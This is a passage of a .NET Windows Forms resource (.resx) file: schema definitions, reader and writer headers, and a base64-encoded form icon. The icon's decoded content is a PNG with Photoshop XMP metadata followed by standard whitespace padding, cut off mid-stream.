type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\r\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n    <value>\r\n        AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw\r\n        SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp\r\n        bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i\r\n        YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg\r\n        MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v\r\n        d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv\r\n        biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh\r\n        cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu\r\n        MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No\r\n        b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu\r\n        MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv\r\n        c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i\r\n        ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t\r\n        L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw\r\n        MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3\r\n        LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE\r\n        YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w\r\n        Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog\r\n        ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w\r\n        OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ\r\n        RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu\r\n        Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl\r\n        YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg\r\n        PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw\r\n        MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y\r\n        eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw\r\n        ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0\r\n        OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw\r\n        OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg\r\n        ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg\r\n        ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3\r\n        IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg\r\n        ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg\r\n        ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz\r\n        dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw\r\n        PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4\r\n        VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh\r\n        cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl\r\n        bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg\r\n        ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06\r\n        SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg\r\n        ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg\r\n        ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg\r\n        ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl\r\n        eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY\r\n        RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp\r\n        bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K\r\n        ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        